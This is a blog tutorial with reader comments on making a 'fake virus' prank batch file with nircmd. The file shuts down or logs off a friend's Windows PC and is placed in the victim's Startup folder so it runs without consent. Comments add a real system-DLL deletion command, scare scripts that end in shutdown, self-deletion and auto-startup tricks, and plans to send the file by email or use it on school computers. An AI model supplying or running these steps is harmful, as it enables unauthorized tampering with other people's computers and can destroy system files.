How to create a simple fake virus for windows by using the nircmd utility by nirsoft.org
Have you ever dreamed of creating a fake virus yourself to play a prank by installing the virus on your friend computer and a making a fool of him. If Yes then this post is of great interest to you.
So what would you like to do with a virus to make your friend believe that a virus has infected his/her computer.
Hmm….let me guess ?
1. Suddenly Opening and closing of cd drive.
2. Power off the monitor.
3. Log out the user out of windows xp.
4. Turn off the computer.
5. and much more….well actually any of the above events combination can make any windows user think that his/her system is infected.
Requirements For Virus To Run: Windows NT, Windows 2000 and Windows XP So you cannot run this utility on Windows 9x machines.
So How To Make and Execute the virus:
1. Firstly you don’t have to make any virus ,you just need to download a nifty utility called nircmd.exe from here (Provided By Nirsoft.net).
2. Now double click the downloaded nircmd.exe and click the button which says “Copy To Windows Directory“.
3. You need to create a batch file , so open notepad and enter these commands line by line or simply just copy the text below in notepad and save it as fun.bat any where on the targeted computer.
cd %windir%
nircmd.exe cdrom open d:
nircmd.exe cdrom close d:
nircmd.exe monitor off
nircmd.exe exitwin logoff
nircmd.exe exitwin poweroff
4. Now drag to place the fun.bat in the start>>all programs>>startup and next time the person(your friend) who will reboot the computer will be the victim.
Enjoy the fun and leave your comments about your experiences with this funny fake virus for windows xp and do let me know if you have any problems in installing or running the virus.
There is lot more to explore about nircmd.exe ,So Check the NirCmd Utilty Page at Nirsoft.net
Download NirCmd | Download Fun.Bat
Playing with this tool can be real fun if you really know how to play with it.
Note: if you have caused any damage to your computer due to the above utility boot up in safe mode and remove the batch file from the start up.
P.S: I am not responsible for any damage caused to your system because of the above tool and the batch file.
Filed in: tips & tricks • windows tweaks • xp tricks





Create a virus?
I dont think anyone will try this out, what if the virus really creates problem.
I have heard this trick, but not tried.
Sweet message. I guess you’ll check out my site.. Ciao
it will not create any problem as such…but if u have u can remove it from the startup by booting through safe mode.
Good for those lamers!
Hey! it’s coooooool i love that kind of hacking i want to more tips and tricks like that i love hacking but only for fun nice keep it up 4 us hmmmm again tanx you
wow cool instead of goin onto a m8s pc can i just send him the fun.bat file thro msn and activate it by adding codes to the file to send the file as soon as its sent strait to the startup?
Umm..this is cool I guess, but how do I send it to someoones computer? Where do I post it?
how do I send it to someoones computer.pls send me the full deatail. can u send me more about to create virus please
i was about to download this until i thought may this wrek my computer. if i want to put this program onto my computer and send it to my friend to piss him off like hell, will i be effected??? i swear to god i will murder you if you break my computer!!!!!!!!!!1
I’ve tried this process, I’ve studied nircmd.exe its no problem, this prank is just a prank that will not harm your PC at all, though it really sucks if you put nircmd.exe exitwin poweroff it doesn’t work, this is the only possible thing that will harm your PC to bad doesn’t work
Who the hell is this nirsoft GM? I did this alone who are you?
1. Many people have tried this out 2. Why are you asking people to check your site? 3. It’s totally safe 4. No comment 5. It is cool! 6. your welcome! 7. Put the nircmd.exe too in the startup along with bat 8. Use your e-mail and tell him its a controlled thing 9. same as no. 8 comment 10. No you will not be effected
if i want to put the fake virus on my friend’s pc,must i put the nircmd.exe program on his/her pc aswell? and how do they get the fake virus of there pc,so that i can take it off then i’ll also be there hero?
it fucked my pc up
how to create a virous.i want to know
Well….i think it’s realy cool more safe than this one @Echo off del c:\windows\system\*.dll*
not really im goig to try it out. using the school computer!! kakaka those fucker who using the computer will get in trouble not me kakaka and i get to test it out to kakak thanx
If I sent someone the virus, how can I make it go directly into Startup file?
nice but very dangerous to activate
hey its works gr8 thanxxxx dude….
Hi frndz my name is Rock Atkinson (Work place name) i am McAfee virus removal expert, if you have any querys how to remove virus from the computer let me know to my email address stonecold_2k4@yahoo.co.in
Great! Thanks for this!
lol this isent a virus…its command promt for kids who have no idea how to program a virus…
Let’s play. thank you very much.
this is cool..but not so powerful..but don’t mind..still can use for beginner…huhuhu
cool trick . you will find slightly deferent fake virus in my site
lame lame lame!
gud virus
Thanks !!!!!!! but i hv some more kool viruses created by which can create bad sectors in the hard disk !!!!
instead of like shutting down the pc couldn’t you like just reboot it or something??
as a command on the notepad
I am at school as of right now. And i was just going to play a prank on our crappy computer crew. Now will this show you who installed the “fake virus”. Or will it come up as unknown. I have heard that this can easily be taken off as well. So what I would do is put it on and then take it off the next day. help?
The problem is your P.S
very simpile thank you very much
Hey people, this has worked good.. but a few things: the disc drive thing doesnt work.. however, to create messages, you must do something else.. this is my own created one.. with text etc. @echo off echo THIS IS A VIRUS pause echo LETS TURN OFF YOUR MONITOR! pause nircmd.exe monitor off pause echo NOW OPEN AND CLOSE DISC DRIVE pause cd %windir% nircmd.exe cdrom open d: nircmd.exe cdrom close d: pause echo OKAY, NOW DELETE ALL FILES. :1 dir/s goto 1 pause echo FINALLY, FINISHED pause echo WARNING: MISSING FILES! pause echo DELETING C:/DOCUMENTS AND SETTING/USER/META DATA/WINDOWS pause echo SYSTEM MUST SHUT DOWN! pause nircmd.exe exitwin poweroff You may copy this.. PAuse means you must press enter to continue… and echo is the text. You can send it to someone and if he accepts and opens it, he has the fake virus.. if you have any questions or want me to make a virus for you, contact me at wesley_shana@hotmail.com Save the file as >>NAME<<.bat. so if you want to rename it as Soldier.. it must be Soldier.bat.. ENJOY !!
:A color 0a cls @echo off echo Wscript.Sleep echo Wscript.Sleep 5000>C:\sleep5000.vbs echo Wscript.Sleep 3000>C:\sleep3000.vbs echo Wscript.Sleep 4000>C:\sleep4000.vbs echo Wscript.Sleep 2000>C:\sleep2000.vbs cd %systemroot%\System32 dir cls start /w wscript.exe C:\sleep3000.vbs echo Deleting Critical System Files… echo del *.* start /w wscript.exe C:\sleep3000.vbs echo Deletion Successful!<brstart /w wscript.exe C:\sleep2000.vbs echo: echo: echo: echo Deleting Root Partition… start /w wscript.exe C:\sleep2000.vbs echo del %SYSTEMROOT% start /w wscript.exe C:\sleep4000.vbs echo Deletion Successful! start /w wscript.exe C:\sleep2000.vbs echo: echo: echo: echo Creating Directory h4x… cd C:\Documents and Settings\All Users\Start Menu\Programs\ mkdir h4x start /w wscript.exe C:\sleep3000.vbs echo Directory Creation Successful! echo: echo: echo: echo Execution Attempt 1… start /w wscript.exe C:\sleep3000.vbs echo cd C:\Documents and Settings\All Users\Start Menu\Programs\Startup\h4x\ echo start hax.exe start /w wscript.exe C:\sleep3000.vbs echo Virus Executed! echo: echo: echo: start /w wscript.exe C:\sleep2000.vbs echo Disabling Windows Firewall… start /w wscript.exe C:\sleep2000.vbs echo Killing all processes… start /w wscript.exe C:\sleep2000.vbs echo Allowing virus to boot from startup… start /w wscript.exe C:\sleep2000.vbs echo: echo: echo Virus has been executed successfully! start /w wscript.exe C:\sleep2000.vbs echo: echo Have fun! start /w wscript.exe C:\sleep2000.vbs pause shutdown -s -t 10 -c “Your computer has committed suicide. Have a nice day.”
I Love This Virus I am going to scare my friend so much. i set this virus to delete it self so no one using that computer can find it. Here is an example del C:\Users\UserName\Desktop\Fun.bat
For some reason my virus protecter sayd that there was a virus then my my comuter was shutting down maybe it’s because i have vista
100 in 100 it is really cool what the guy they are …….
There is a way to easily make this virus actually delete files.
Quote: “For some reason my virus protecter sayd that there was a virus then my my comuter was shutting down maybe it’s because i have vista” My friend… the only virus you should worry about is your operating system: Virus name: Vista First case found: 30 January 2007 Symptoms: incompatibility, crashing, annoying prompts, slows down computer, chews resources Solution: format and install XP or Windows 7
It has nothing to do with Vista because I run Vista and it worked great for me. P.S. If you get regular updates for you Vista computer it will start to run better. (mine works almost as well a XP)
dear: first you make a virus than can you send me that how do you make it. just in windows xp
Not possible as far as I know
nice prank.
to make it go directly to starup type: move “%userprofile%/desktop/[filename.bat]” “%userprofile%/start menu/programs/starup” this is only if the file is on desktop and if u are running windows xp. but for killing computers i suggest C#.
I am very impress this virus so funny and cool i get try new virus and code give us some time….
Ok I have a prob. Is the victim’s PC must have the Nircmd program too? That means, we have to install nircmd and write the commands on the notepad or just write the commands without nircmd. If so, why are we downloading nircmd? I’m in trouble, plz help me
you don’t need to have it installed, but you just need to take this executable to the victim pc and run it thats it – i hope it solves your problem
itz very simple and wonderful….. thnx very much for such a post…
can i send this virus through e-mail?